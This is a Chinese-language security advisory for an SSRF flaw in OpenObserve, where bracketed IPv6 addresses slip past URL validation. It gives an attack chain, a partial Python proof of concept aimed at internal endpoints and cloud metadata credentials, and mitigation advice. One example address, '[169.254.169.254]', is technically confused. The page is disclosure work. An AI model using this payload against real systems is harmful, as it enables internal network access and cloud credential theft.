IPBUF安全漏洞报告
English
CVE-2026-39361 CVSS 7.7 高危

CVE-2026-39361 OpenObserve IPv6地址绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39361
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenObserve

相关标签

SSRFOpenObserveIPv6 Bypass信息泄露高危漏洞

漏洞概述

OpenObserve 0.70.3及更早版本中,validate_enrichment_url函数因未正确处理Rust url crate返回的带方括号IPv6地址,导致验证失效。已认证攻击者可利用此漏洞绕过安全限制,访问内部服务,窃取云环境IAM凭证或探测内网。

技术细节

该漏洞位于src/handler/http/request/enrichment_table/mod.rs文件中。Rust的url crate在解析IPv6地址时会保留方括号(如[::1]),而原有的验证逻辑仅针对裸IPv6格式进行拦截,未能处理带方括号的格式。攻击者可构造包含[::1]或[169.254.169.254]的恶意URL。由于验证函数无法识别其为内网地址,请求被放行。这使得攻击者能够通过SSRF攻击访问云服务商的元数据服务(AWS IMDSv1、GCP/Azure Metadata),获取敏感凭证,或在自托管环境中扫描内网端口。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标使用的是OpenObserve 0.70.3或更早版本。
STEP 2
2. 获取认证
攻击者注册或获取一个低权限账户(满足PR:L要求)。
STEP 3
3. 构造恶意请求
攻击者利用漏洞,构造包含带方括号的IPv6地址(如[::1]或[169.254.169.254])的URL请求发送至enrichment接口。
STEP 4
4. 绕过验证
由于validate_enrichment_url函数无法识别方括号内的IPv6地址为内网地址,请求成功通过验证并转发。
STEP 5
5. 访问内部资源
攻击者成功访问内部服务。在云环境下,请求元数据服务获取IAM凭证;在内网环境下,探测敏感端口。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-39361: OpenObserve IPv6 Bypass # Target: OpenObserve <= 0.70.3 target_host = "http://localhost:5080" enrichment_endpoint = "/api/<enrichment_endpoint>" # Replace with actual endpoint auth_token = "<YOUR_AUTH_TOKEN>" # PR:L requires authentication # Malicious IPv6 payload with brackets to bypass validation # Example: Accessing localhost via IPv6 internal_ip = "[::1]" internal_path = "/api/admin/users" malicious_url = f"http://{internal_ip}{internal_path}" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } data = { "url": malicious_url } try: response = requests.post(f"{target_host}{enrichment_endpoint}", json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Vulnerability confirmed! Internal service responded.") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

OpenObserve <= 0.70.3

防御指南

临时缓解措施
建议立即升级至修复版本。若无法升级,应在防火墙或安全组中严格限制OpenObserve实例发出的出站连接,特别是针对169.254.169.254等元数据IP的访问。同时检查并加固enrichment功能的访问控制策略。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表